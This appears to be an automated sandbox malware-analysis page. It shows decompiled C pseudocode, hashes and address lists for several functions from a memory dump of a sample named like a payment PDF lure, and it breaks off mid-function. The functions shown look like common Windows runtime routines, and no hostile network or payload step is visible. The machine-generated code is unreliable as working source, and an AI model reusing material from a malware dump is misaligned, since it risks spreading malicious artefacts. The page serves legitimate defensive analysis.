String ID:
API String ID:
Opcode ID: b10c7932b254f136361a00da209bd0f1f317ff6b27432d4030294687b97bdc54
Instruction ID: 23c3a25c3a67fdc0eeb60ef48dc6d181a9018c6e76a542733b9d8252f0e24654
Opcode Fuzzy Hash: b10c7932b254f136361a00da209bd0f1f317ff6b27432d4030294687b97bdc54
Instruction Fuzzy Hash: 86818175A013059FDF09CF99D880BAEB7B6FF85320F198569D855AB344DB34E902CB90

Uniqueness

Uniqueness Score: -1.00%

Function 334AE1A4 Relevance: .2, Instructions: 212
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E334AE1A4(intOrPtr __ecx, signed int __edx) {
				signed int _v8;
				signed int _v16;
				char _v36;
				char _v37;
				signed int _v44;
				signed int _v48;
				char _v52;
				signed int _v56;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				intOrPtr _v80;
				char _v84;
				char _v92;
				char _v100;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t116;
				signed int _t127;
				signed int _t128;
				signed int _t130;
				signed int _t131;
				signed int _t140;
				void* _t148;
				signed int _t158;
				signed int _t159;
				intOrPtr _t161;
				intOrPtr _t166;
				signed int _t167;
				signed int _t168;
				signed int _t169;
				intOrPtr _t172;
				signed int _t174;
				signed int _t187;

				_t162 = __edx;
				_t150 = __ecx;
				_v8 =  *0x3356b370 ^ _t174;
				_t172 = __ecx;
				_v37 = __edx;
				_t148 = 0;
				_v72 = __ecx;
				_v48 = 0;
				_v52 = 0;
				if(( *(__ecx + 0xd4) & 0x04000000) != 0) {
					_t162 =  &_v48;
					_t167 = E33543527(__ecx,  &_v48,  &_v52);
					__eflags = _t167;
					if(_t167 < 0) {
						L16:
						if(_t187 != 0) {
							L27:
							_t148 = E3349ABA0(_t167);
						}
						return E334B4B50(_t148, _t148, _v8 ^ _t174, _t162, _t167, _t172);
					}
					 *((intOrPtr*)(__ecx + 0x118)) =  *((intOrPtr*)(__ecx + 0x118)) + _v48;
					 *((intOrPtr*)(__ecx + 0x114)) =  *((intOrPtr*)(__ecx + 0x114)) + _v52;
				}
				_t9 = _t172 + 0x14c; // 0x14c
				if( *_t9 == _t9) {
					_t65 = _t172 + 0x154; // 0x154
					_t114 = _t65;
					__eflags =  *_t65 - _t114;
					if( *_t65 != _t114) {
						goto L2;
					}
					__eflags =  *((intOrPtr*)(_t172 + 0x168)) - _t148;
					if( *((intOrPtr*)(_t172 + 0x168)) != _t148) {
						goto L2;
					}
					__eflags =  *(_t172 + 0xd4) & 0x00001000;
					if(( *(_t172 + 0xd4) & 0x00001000) != 0) {
						goto L2;
					}
					_push("true");
					_push(0x18);
					_push( &_v36);
					_push( &_v92);
					_push( *((intOrPtr*)(_t172 + 0x68)));
					_t167 = L334B2E40();
					__eflags = _t167;
					if(_t167 < 0) {
						goto L16;
					}
					_t168 = _v16 + 0x00000003 &  ~_v16;
					L3:
					_v44 = _t168;
					_t116 = L33485D90(_t150,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _t168);
					_v56 = _t116;
					if(_t116 == 0) {
						_t167 = 0xc0000017;
						goto L27;
					}
					_push(_t148);
					_v84 = _t148;
					_push( &_v84);
					_push(_t168);
					_push(_t116);
					_v80 = _t148;
					_push( &_v92);
					_push(_t148);
					_push(_t148);
					_push(_t148);
					_push( *((intOrPtr*)(_t172 + 0x68)));
					_t167 = E334B29F0();
					if(_t167 < 0) {
						L15:
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t148, _v56);
						_t187 = _t167;
						goto L16;
					}
					_t169 = _v56;
					_t154 = _v44;
					if(_v44 >=  *_t169) {
						_t154 =  *_t169;
						_v44 =  *_t169;
					}
					if(_v37 != _t148) {
						L12:
						 *((intOrPtr*)(_t169 + 0x30)) =  *((intOrPtr*)(_t169 + 4));
						E334AE330( *((intOrPtr*)(_t169 + 4)), _t172, _t169, _v44);
						_t162 = _t169;
						L334B0EC6(_t172, _t169, _v44);
						_push(_t148);
						_push( &_v84);
						_push(_v44);
						_push(_t169);
						_push( &_v92);
						_push(_t148);
						_push(_t148);
						_push(_t148);
						_push( *((intOrPtr*)(_t172 + 0x68)));
						_t167 = E334B2A10();
						if(_v37 == 0 && _t167 >= 0) {
							_t127 =  *(_t172 + 0xd4);
							if((_t127 & 0x04000020) != 0) {
								__eflags = _t127 & 0x04000000;
								if((_t127 & 0x04000000) == 0) {
									__eflags = _t127 & 0x00002000;
									_t128 =  *(_t172 + 0xd0);
									_t158 = 0x400;
									if((_t127 & 0x00002000) == 0) {
										_t158 = 0x100000;
									}
									_t159 = _t128 * _t158;
									_v48 = _t128 * _t158 >> 0x20;
									_t130 =  *(_t172 + 0x118);
									_t162 = _t130 *  *(_t172 + 0x8c) >> 0x20;
									_t131 = _t130 *  *(_t172 + 0x8c);
									__eflags = _t162 - _v48;
									if(__eflags > 0) {
										goto L15;
									} else {
										if(__eflags < 0) {
											L37:
											_v68 = _t131;
											__eflags = _t131 | _t162;
											_v64 = _t162;
											if((_t131 | _t162) != 0) {
												_push(0x14);
												_push("true");
												_push( &_v68);
												_push( &_v100);
												_push( *((intOrPtr*)(_t172 + 0x68)));
												_t167 = L334B2C20();
											}
											goto L15;
										}
										__eflags = _t131 - _t159;
										if(_t131 >= _t159) {
											goto L15;
										}
										goto L37;
									}
								}
								_t131 =  *(_t172 + 0xf8);
								_t162 =  *(_t172 + 0xfc);
								goto L37;
							}
						}
						goto L15;
					}
					 *((intOrPtr*)(_t169 + 0x74)) =  *((intOrPtr*)(_t172 + 0x88));
					 *(_t169 + 0x8c) =  *(_t172 + 0x118);
					 *((intOrPtr*)(_t169 + 0x98)) =  *((intOrPtr*)(_t169 + 0x98)) +  *((intOrPtr*)(_t172 + 0x110));
					 *((intOrPtr*)(_t169 + 0x174)) =  *((intOrPtr*)(_t169 + 0x174)) +  *((intOrPtr*)(_t172 + 0x114));
					_t140 =  *(_t172 + 0xd4);
					if((_t140 & 0x00010000) != 0) {
						__eflags = _t140 & 0x00001000;
						if((_t140 & 0x00001000) != 0) {
							E33542AF0(_t172, _t169, _t154, _v48, _v52);
						}
						goto L12;
					}
					while(1) {
						_t161 =  *0x7ffe0018;
						_t166 =  *0x7FFE0014;
						if(_t161 ==  *0x7FFE001C) {
							break;
						}
						asm("pause");
					}
					_t169 = _v56;
					_t148 = 0;
					_t172 = _v72;
					 *((intOrPtr*)(_t169 + 0x78)) = _t166;
					 *((intOrPtr*)(_t169 + 0x7c)) = _t161;
					goto L12;
				}
				L2:
				_t168 =  *(_t172 + 0x8c);
				goto L3;
			}

0x334ae1a4
0x334ae1a4
0x334ae1b3
0x334ae1b8
0x334ae1ba
0x334ae1bd
0x334ae1bf
0x334ae1c3
0x334ae1d0
0x334ae1d3
0x334e8dd3
0x334e8ddb
0x334e8ddd
0x334e8ddf
0x334ae312
0x334ae312
0x334e8e58
0x334e8e5e
0x334e8e5e
0x334ae328
0x334ae328
0x334e8de8
0x334e8df1
0x334e8df1
0x334ae1d9
0x334ae1e1
0x334e8dfc
0x334e8dfc
0x334e8e02
0x334e8e04
0x00000000
0x00000000
0x334e8e0a
0x334e8e10
0x00000000
0x00000000
0x334e8e16
0x334e8e20
0x00000000
0x00000000
0x334e8e26
0x334e8e28
0x334e8e2d
0x334e8e31
0x334e8e32
0x334e8e3a
0x334e8e3c
0x334e8e3e
0x00000000
0x00000000
0x334e8e4c
0x334ae1ed
0x334ae1f6
0x334ae1fc
0x334ae201
0x334ae206
0x334e8e53
0x00000000
0x334e8e53
0x334ae20c
0x334ae210
0x334ae213
0x334ae214
0x334ae215
0x334ae219
0x334ae21c
0x334ae21d
0x334ae21e
0x334ae21f
0x334ae220
0x334ae228
0x334ae22c
0x334ae2fe
0x334ae30b
0x334ae310
0x00000000
0x334ae310
0x334ae232
0x334ae235
0x334ae23a
0x334ae23c
0x334ae23e
0x334ae23e
0x334ae244
0x334ae2ab
0x334ae2b5
0x334ae2b8
0x334ae2c0
0x334ae2c4
0x334ae2c9
0x334ae2cd
0x334ae2ce
0x334ae2d4
0x334ae2d5
0x334ae2d6
0x334ae2d7
0x334ae2d8
0x334ae2d9
0x334ae2e5
0x334ae2e7
0x334ae2ed
0x334ae2f8
0x334e8e85
0x334e8e8a
0x334e8ea0
0x334e8ea5
0x334e8ea7
0x334e8eac
0x334e8eae
0x334e8eae
0x334e8eb5
0x334e8eb7
0x334e8eba
0x334e8ec0
0x334e8ec0
0x334e8ec6
0x334e8ec9
0x00000000
0x334e8ecf
0x334e8ecf
0x334e8ed9
0x334e8ed9
0x334e8edc
0x334e8ede
0x334e8ee1
0x334e8ee7
0x334e8ee9
0x334e8eee
0x334e8ef2
0x334e8ef3
0x334e8efb
0x334e8efb
0x00000000
0x334e8ee1
0x334e8ed1
0x334e8ed3
0x00000000
0x00000000
0x00000000
0x334e8ed3
0x334e8ec9
0x334e8e8c
0x334e8e92
0x00000000
0x334e8e92
0x334ae2f8
0x00000000
0x334ae2e7
0x334ae24c
0x334ae255
0x334ae261
0x334ae26d
0x334ae273
0x334ae27e
0x334e8e65
0x334e8e6a
0x334e8e7b
0x334e8e7b
0x00000000
0x334e8e6a
0x334ae28f
0x334ae28f
0x334ae291
0x334ae297
0x00000000
0x00000000
0x334ae329
0x334ae329
0x334ae29d
0x334ae2a0
0x334ae2a2
0x334ae2a5
0x334ae2a8
0x00000000
0x334ae2a8
0x334ae1e7
0x334ae1e7
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5355ef8aa03798e75f662f2cafec5780fa98207d402911337e41ac2d755974b8
Instruction ID: 7ca12c2fe6c9b91d940f3c4be2b414b7265ecd1a80b05fc1b39dd167361c15e8
Opcode Fuzzy Hash: 5355ef8aa03798e75f662f2cafec5780fa98207d402911337e41ac2d755974b8
Instruction Fuzzy Hash: FF816A71E00709AFEB11CFA8C880BDEB7F9FF88750F544429E565A7260DB30A845CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 3353970B Relevance: .2, Instructions: 210
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E3353970B(signed int __ecx, signed int __edx, signed int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t62;
				signed int _t64;
				signed int _t65;
				char* _t66;
				intOrPtr _t67;
				intOrPtr _t73;
				signed int _t81;
				signed int _t83;
				signed int _t86;
				signed int _t92;
				signed int _t94;
				void* _t95;
				signed int _t100;
				signed int _t107;
				signed int _t119;
				signed int _t121;
				signed int _t122;

				_t108 = __edx;
				_v8 =  *0x3356b370 ^ _t122;
				_t120 = _a8;
				_t119 = __ecx;
				_t86 = ( *(__ecx + 0xc) | __edx) & 0x93000f0b;
				if(_a8 <= 0x7fffffff) {
					_t108 = __ecx;
					__eflags = E33538435(__ecx + 0x18);
					if(__eflags == 0) {
						goto L1;
					}
					_t121 = _a4;
					_t108 = _t121;
					_v24 = _t121;
					_t62 = L33539955(__ecx, _t121, __eflags, _t120, _t86,  &_v44);
					__eflags = _t62;
					if(_t62 == 0) {
						L48:
						__eflags = _t121;
						L49:
						return E334B4B50(_t121, _t86, _v8 ^ _t122, _t108, _t119, _t121);
					}
					__eflags = _v28 - _a8;
					if(_v28 < _a8) {
						goto L48;
					}
					_t108 = _v44;
					_t64 = 0;
					_v20 = _t108;
					__eflags = _a16;
					if(__eflags == 0) {
						_t92 = _a12;
						__eflags = _t92;
						if(_t92 != 0) {
							 *_t92 = _t108;
						}
						L13:
						__eflags = _t108 - _a8;
						if(_t108 == _a8) {
							L41:
							_t65 = L33483C40();
							__eflags = _t65;
							if(_t65 == 0) {
								_t66 = 0x7ffe0380;
							} else {
								_t66 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							}
							__eflags =  *_t66;
							if( *_t66 != 0) {
								_t67 =  *[fs:0x30];
								__eflags =  *(_t67 + 0x240) & 0x00000001;
								if(( *(_t67 + 0x240) & 0x00000001) != 0) {
									__eflags = _t121;
									if(_t121 != 0) {
										_t108 = _t121;
										E3352F30A(_t119, _t121, _v24, _v44, _v32, "true");
									}
								}
							}
							goto L49;
						}
						_t94 = 0;
						_v16 = 0;
						__eflags = _t86 & 0x01000000;
						if((_t86 & 0x01000000) != 0) {
							L21:
							_t108 = _t86 & 0x12000001 | 0x01000000;
							_v12 = _t86 & 0x12000001 | 0x01000000;
							__eflags = _t121;
							if(__eflags != 0) {
								_t95 = 0;
								__eflags = 0;
								L25:
								__eflags = _t95 - 2;
								if(_t95 != 2) {
									__eflags = (_t95 + 2 << 7) + _t119;
									_t72 = E3353D4C6((_t95 + 2 << 7) + _t119, _t108, _t121,  &_v44);
									L28:
									__eflags = _v16;
									_t121 = _t72;
									if(_v16 == 0) {
										L34:
										__eflags = _t121;
										if(_t121 == 0) {
											goto L49;
										}
										__eflags = _t121 - 0xffffffff;
										if(_t121 == 0xffffffff) {
											goto L49;
										}
										_t73 = _v32;
										__eflags = _t86 & 0x00000002;
										if((_t86 & 0x00000002) != 0) {
											_t100 = _v20;
											__eflags = _t73 - _t100;
											if(_t73 > _t100) {
												__eflags = _t73 - _t100;
												L334B8F40(_t100 + _t121, 0, _t73 - _t100);
												_t73 = _v32;
											}
										}
										__eflags = _t86 & 0x10000000;
										if((_t86 & 0x10000000) != 0) {
											 *((intOrPtr*)(_t73 + _t121)) = 0xabababab;
											 *((intOrPtr*)(_t73 + _t121 + 4)) = 0xabababab;
										}
										goto L41;
									}
									__eflags = _t121;
									if(__eflags == 0) {
										L32:
										_t72 = _v24;
										_v12 = _v24;
										L33:
										__eflags = E33538565(_t119, _t72, __eflags, _t86, 0) + 8;
										_t108 = _t119;
										L335178DE(_v16, _t119, _v12, "true", E33538565(_t119, _t72, __eflags, _t86, 0) + 8);
										goto L34;
									}
									__eflags = _t121 - 0xffffffff;
									if(__eflags == 0) {
										goto L32;
									}
									_v12 = _t121;
									goto L33;
								}
								L26:
								_t108 = _v12;
								_t72 = E3353A6C0(_t119, _v12, _t121,  &_v44);
								goto L28;
							}
							_push(_t94);
							_t81 = L3353DE9F(_t86, 0x33566dc8, (_t121 -  *0x33566dc4 >> 0x14) + (_t121 -  *0x33566dc4 >> 0x14), _t119, _t121, __eflags);
							__eflags = _t81;
							if(_t81 == 0) {
								goto L26;
							} else {
								_t108 = _v12;
								_t26 = _t81 - 1; // -1
								_t95 = _t26;
								goto L25;
							}
						}
						__eflags =  *(_t119 + 0x10);
						if( *(_t119 + 0x10) == 0) {
							goto L21;
						}
						__eflags = _t64;
						if(__eflags != 0) {
							L18:
							__eflags = _t64 - 0xffffffff;
							if(_t64 == 0xffffffff) {
								goto L21;
							}
							_t94 =  *(_t64 + 2) & 0xf;
							__eflags = _t94;
							_v16 = _t94;
							if(_t94 == 0) {
								goto L21;
							}
							_t108 = _t119;
							_t83 = L335178DE(_t94, _t119, _t121, "true", _t64 + 8);
							__eflags = _t83;
							if(_t83 < 0) {
								goto L48;
							}
							goto L21;
						}
						_t94 = _t119;
						_t64 = E33538565(_t94, _t121, __eflags, _t86, 0);
						__eflags = _t64;
						if(_t64 == 0) {
							goto L21;
						}
						goto L18;
					}
					_t64 = E33538565(_t119, _t121, __eflags, _t86, _a12);
					__eflags = 0;
					if(0 == 0) {
						L9:
						_t107 = 0;
						__eflags = 0;
						L10:
						 *_a16 = _t107;
						_t108 = _v20;
						goto L13;
					}
					__eflags = 0 - 0xffffffff;
					if(0 == 0xffffffff) {
						goto L9;
					} else {
						_t107 =  *0x00000000 & 0x0000ffff;
						goto L10;
					}
				}
				L1:
				_t121 = 0;
				goto L49;
			}

0x3353970b
0x3353971a
0x3353971f
0x33539723
0x3353972a
0x33539736
0x33539742
0x3353974c
0x3353974e
0x00000000
0x00000000
0x33539758
0x3353975b
0x3353975d
0x33539760
0x33539765
0x33539767
0x3353993f
0x3353993f
0x33539942
0x33539952
0x33539952
0x33539770
0x33539773
0x00000000
0x00000000
0x33539779
0x3353977c
0x3353977e
0x33539781
0x33539784
0x335397ae
0x335397b1
0x335397b3
0x335397b5
0x335397b5
0x335397b7
0x335397b7
0x335397ba
0x335398f3
0x335398f3
0x335398f8
0x335398fa
0x3353990c
0x335398fc
0x33539905
0x33539905
0x33539911
0x33539914
0x33539916
0x3353991c
0x33539923
0x33539925
0x33539927
0x3353992e
0x33539938
0x33539938
0x33539927
0x33539923
0x00000000
0x33539914
0x335397c0
0x335397c2
0x335397c5
0x335397cb
0x3353980c
0x33539814
0x3353981a
0x3353981d
0x33539820
0x33539846
0x33539846
0x33539848
0x33539848
0x3353984b
0x33539869
0x3353986b
0x33539870
0x33539870
0x33539874
0x33539876
0x335398ab
0x335398ab
0x335398ad
0x00000000
0x00000000
0x335398b3
0x335398b6
0x00000000
0x00000000
0x335398bc
0x335398bf
0x335398c2
0x335398c4
0x335398c7
0x335398c9
0x335398cb
0x335398d4
0x335398d9
0x335398dc
0x335398c9
0x335398df
0x335398e5
0x335398ec
0x335398ef
0x335398ef
0x00000000
0x335398e5
0x33539878
0x3353987a
0x33539886
0x33539886
0x33539889
0x3353988c
0x3353989b
0x335398a4
0x335398a6
0x00000000
0x335398a6
0x3353987c
0x3353987f
0x00000000
0x00000000
0x33539881
0x00000000
0x33539881
0x3353984d
0x3353984d
0x33539857
0x00000000
0x33539857
0x3353982d
0x33539835
0x3353983a
0x3353983c
0x00000000
0x3353983e
0x3353983e
0x33539841
0x33539841
0x00000000
0x33539841
0x3353983c
0x335397cd
0x335397d0
0x00000000
0x00000000
0x335397d2
0x335397d4
0x335397e5
0x335397e5
0x335397e8
0x00000000
0x00000000
0x335397ee
0x335397ee
0x335397f1
0x335397f4
0x00000000
0x00000000
0x335397f9
0x335397ff
0x33539804
0x33539806
0x00000000
0x00000000
0x00000000
0x33539806
0x335397da
0x335397dc
0x335397e1
0x335397e3
0x00000000
0x00000000
0x00000000
0x335397e3
0x3353978e
0x33539793
0x33539795
0x335397a1
0x335397a1
0x335397a1
0x335397a3
0x335397a6
0x335397a9
0x00000000
0x335397a9
0x33539797
0x3353979a
0x00000000
0x3353979c
0x3353979c
0x00000000
0x3353979c
0x3353979a
0x33539738
0x33539738
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cef9a4271e12c314fc36ca2907c526b04cdc3b2b2a9930d38243b3e9f12f53a0
Instruction ID: a40d771703c1d6741b8ed69ad385d6755ff2a1c19ed4e4a459ed6756586260e0
Opcode Fuzzy Hash: cef9a4271e12c314fc36ca2907c526b04cdc3b2b2a9930d38243b3e9f12f53a0
Instruction Fuzzy Hash: 106192F5F02215ABDB15CE64E890BAEB7BAEFC6374F584119E851A72C0DB30D94187A0

Uniqueness

Uniqueness Score: -1.00%

Function 3348C560 Relevance: .2, Instructions: 206
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E3348C560(signed short* _a4, signed short* _a8, char _a12) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				void* _v29;
				signed int _v36;
				unsigned int _v40;
				intOrPtr _v44;
				signed short _v48;
				signed char* _v52;
				signed int _v56;
				signed short _v60;
				signed int _v64;
				unsigned int _v68;
				signed short _v72;
				intOrPtr _v76;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t73;
				intOrPtr _t78;
				signed short _t79;
				signed short _t81;
				signed char _t82;
				signed int _t83;
				signed int _t89;
				intOrPtr _t90;
				intOrPtr _t93;
				signed int _t96;
				signed int _t98;
				signed short* _t100;
				signed char* _t102;
				signed char* _t103;
				signed int _t104;
				signed int _t105;
				signed short _t106;
				signed short _t112;
				intOrPtr _t113;
				void* _t119;
				char _t120;
				signed int _t121;
				unsigned int _t122;
				unsigned int _t124;
				signed char* _t126;
				signed short* _t128;
				signed short _t129;
				signed int _t133;
				signed int _t135;
				intOrPtr _t137;
				signed int _t138;
				void* _t142;
				void* _t148;

				_push(0xfffffffe);
				_push(0x3354c248);
				_push(0x334bad20);
				_push( *[fs:0x0]);
				_t73 =  *0x3356b370;
				_v12 = _v12 ^ _t73;
				_push(_t73 ^ _t138);
				 *[fs:0x0] =  &_v20;
				_t100 = _a8;
				_t133 =  *_t100 & 0x0000ffff;
				_t126 = _t100[2];
				_t104 = 0;
				_t120 =  *0x33563921; // 0x0
				_v29 = _t120;
				if(_t120 != 0) {
					if(_t133 != 0) {
						L3349D210(0, 0,  &_v36, _t126, _t133);
						_t105 = _v36;
						L4:
						_t106 = _t105 + 2;
						if(_t106 > 0xfffe) {
							_t78 = 0xc00000f0;
							L17:
							 *[fs:0x0] = _v20;
							return _t78;
						}
						_t121 = _t106 & 0x0000ffff;
						_t9 = _t121 - 2; // 0x3fffffe
						_t79 = _t9;
						_t128 = _a4;
						 *_t128 = _t79;
						if(_a12 != 0) {
							_t128[1] = _t121;
							_t81 = L33485D90(_t106,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t106);
							_t128[2] = _t81;
							if(_t81 == 0) {
								_t78 = 0xc0000017;
								goto L17;
							}
							_t82 =  *0x33563921; // 0x0
							L9:
							_v44 = 0;
							_v8 = 0;
							_v76 = 1;
							_t135 =  *_t100 & 0x0000ffff;
							_v56 = _t135;
							_t102 = _t100[2];
							_v52 = _t102;
							_t122 =  *_t128 & 0x0000ffff;
							_t129 = _t128[2];
							_v48 = _t129;
							_t83 = _t82 & 0x000000ff;
							if(_t83 != 0) {
								if(_t135 != 0) {
									L3349D210(_t129, _t122,  &_v40, _t102, _t135);
								} else {
									_v40 = _t135;
								}
								L16:
								_v44 = 0;
								 *((short*)(_a4[2] + (_v40 >> 1) * 2)) = 0;
								_v44 = 0;
								_v8 = 0xfffffffe;
								_v76 = 0;
								E3348C6DB(_a4[2], _a4, 0);
								_t78 = 0;
								goto L17;
							}
							_t124 = _t122 >> 1;
							_v68 = _t124;
							_t148 =  *0x33566930 - _t83; // 0x0
							if(_t148 != 0) {
								_v72 = _t129;
								while(_t124 != 0 && _t135 != 0) {
									_t124 = _t124 - 1;
									_v68 = _t124;
									_t135 = _t135 - 1;
									_v56 = _t135;
									_t89 =  *_t102 & 0x000000ff;
									_v36 =  *(0x33564b00 + _t89 * 2) & 0x0000ffff;
									_t56 = _t129 + 2; // 0x334bad22
									_t112 = _t56;
									_v60 = _t112;
									if(_v36 == 0) {
										_t113 =  *0x33566920; // 0x7ffb001c
										_t90 =  *((intOrPtr*)(_t113 + _t89 * 2));
										_t102 =  &(_t102[1]);
										L44:
										 *_t129 = _t90;
										_t129 = _v60;
										_v52 = _t102;
										_v48 = _t129;
										continue;
									}
									if(_t135 != 0) {
										_t103 =  &(_t102[1]);
										_v52 = _t103;
										_t93 =  *0x33566928; // 0x0
										_t90 =  *((intOrPtr*)(_t93 + (( *_t103 & 0x000000ff) + (_v36 & 0x0000ffff)) * 2));
										_t102 =  &(_t103[1]);
										_t135 = _t135 - 1;
										_v56 = _t135;
										goto L44;
									}
									 *_t129 = 0;
									_t129 = _t112;
									_v48 = _t129;
									break;
								}
								_v40 = _t129 - _v72;
								goto L16;
							}
							if(_t124 >= _t135) {
								_t124 = _t135;
							}
							_v40 = _t124 + _t124;
							_t137 =  *0x33566920; // 0x7ffb001c
							_t96 = 0;
							while(1) {
								_v64 = _t96;
								if(_t96 >= _t124) {
									goto L16;
								}
								 *((short*)(_t129 + _t96 * 2)) =  *((intOrPtr*)(_t137 + (_t102[_t96] & 0x000000ff) * 2));
								_t96 = _t96 + 1;
							}
							goto L16;
						}
						_t119 = (_t79 & 0x0000ffff) + 2;
						if(_t119 > (_t128[1] & 0x0000ffff) || _t119 < 2) {
							_t78 = 0x80000005;
							goto L17;
						} else {
							_t82 = _v29;
							goto L9;
						}
					}
					_t105 = 0;
					L3:
					_v36 = _t105;
					goto L4;
				}
				_t142 =  *0x33566930 - _t104; // 0x0
				if(_t142 != 0) {
					if(_t133 == 0) {
						goto L3;
					} else {
						goto L25;
					}
					do {
						L25:
						_t133 = _t133 - 1;
						_t98 =  *_t126 & 0x000000ff;
						_t126 =  &(_t126[1]);
						if( *((short*)(0x33564b00 + _t98 * 2)) == 0) {
							goto L28;
						}
						if(_t133 == 0) {
							_t105 = _t104 + 2;
							goto L3;
						}
						_t133 = _t133 - 1;
						_t126 =  &(_t126[1]);
						L28:
						_t104 = _t104 + 2;
					} while (_t133 != 0);
					goto L3;
				}
				_t105 = _t133 + _t133;
				goto L3;
			}

0x3348c565
0x3348c567
0x3348c56c
0x3348c577
0x3348c57e
0x3348c583
0x3348c588
0x3348c58c
0x3348c592
0x3348c595
0x3348c598
0x3348c59b
0x3348c59d
0x3348c5a3
0x3348c5a8
0x334d8b39
0x334d8b4c
0x334d8b51
0x3348c5c0
0x3348c5c0
0x3348c5c9
0x334d8b8b
0x3348c6a1
0x3348c6a4
0x3348c6b2
0x3348c6b2
0x3348c5cf
0x3348c5d2
0x3348c5d2
0x3348c5d5
0x3348c5d8
0x3348c5df
0x3348c6b5
0x3348c6c5
0x3348c6ca
0x3348c6cf
0x3348c6ee
0x00000000
0x3348c6ee
0x3348c6d1
0x3348c603
0x3348c603
0x3348c60a
0x3348c611
0x3348c618
0x3348c61b
0x3348c61e
0x3348c621
0x3348c624
0x3348c627
0x3348c62a
0x3348c62d
0x3348c632
0x334d8b97
0x334d8ba9
0x334d8b99
0x334d8b99
0x334d8b99
0x3348c673
0x3348c673
0x3348c687
0x3348c68d
0x3348c690
0x3348c697
0x3348c69a
0x3348c69f
0x00000000
0x3348c69f
0x3348c638
0x3348c63a
0x3348c63d
0x3348c643
0x334d8bb3
0x334d8bb6
0x334d8bbe
0x334d8bbf
0x334d8bc2
0x334d8bc3
0x334d8bc6
0x334d8bd1
0x334d8bd4
0x334d8bd4
0x334d8bd7
0x334d8bdf
0x334d8c1b
0x334d8c21
0x334d8c25
0x334d8c26
0x334d8c26
0x334d8c29
0x334d8c2c
0x334d8c2f
0x00000000
0x334d8c2f
0x334d8be3
0x334d8c02
0x334d8c03
0x334d8c0b
0x334d8c10
0x334d8c14
0x334d8c15
0x334d8c16
0x00000000
0x334d8c16
0x334d8be7
0x334d8bea
0x334d8bec
0x00000000
0x334d8bec
0x334d8bf5
0x00000000
0x334d8bf5
0x3348c64b
0x3348c64d
0x3348c64d
0x3348c652
0x3348c655
0x3348c65b
0x3348c65d
0x3348c65d
0x3348c662
0x00000000
0x00000000
0x3348c66c
0x3348c670
0x3348c670
0x00000000
0x3348c65d
0x3348c5e8
0x3348c5f1
0x334d8c5d
0x00000000
0x3348c600
0x3348c600
0x00000000
0x3348c600
0x3348c5f1
0x334d8b3b
0x3348c5bd
0x3348c5bd
0x00000000
0x3348c5bd
0x3348c5ae
0x3348c5b4
0x334d8b5b
0x00000000
0x00000000
0x00000000
0x00000000
0x334d8b61
0x334d8b61
0x334d8b61
0x334d8b62
0x334d8b65
0x334d8b6f
0x00000000
0x00000000
0x334d8b73
0x334d8b83
0x00000000
0x334d8b83
0x334d8b75
0x334d8b76
0x334d8b77
0x334d8b77
0x334d8b7a
0x00000000
0x334d8b7e
0x3348c5ba
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e842620e147a374b86bd7f51e20011aa8477fcd6e68a270af809c9ac9af2f9cb
Instruction ID: 2eaba7d11956c22f6d8a695364899a00d0824cecd0200e6e53943ed4b74c46ab
Opcode Fuzzy Hash: e842620e147a374b86bd7f51e20011aa8477fcd6e68a270af809c9ac9af2f9cb
Instruction Fuzzy Hash: BE71AFB4C05725DBDB218F58C890BBDBBF4FF49711F14816AE861AB360D7359802CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 3348252B Relevance: .2, Instructions: 201
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E3348252B(intOrPtr __ecx, intOrPtr* __edx) {
				unsigned int* _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* __ebx;
				intOrPtr _t74;
				unsigned int* _t76;
				intOrPtr* _t84;
				char* _t85;
				unsigned int* _t94;
				char* _t111;
				char* _t120;
				intOrPtr* _t133;
				signed int _t155;
				signed int _t158;
				signed int _t161;
				unsigned int _t169;
				unsigned int* _t171;
				intOrPtr _t173;
				signed int _t178;

				_t133 = __edx;
				_t173 = __ecx;
				_v20 =  *__edx;
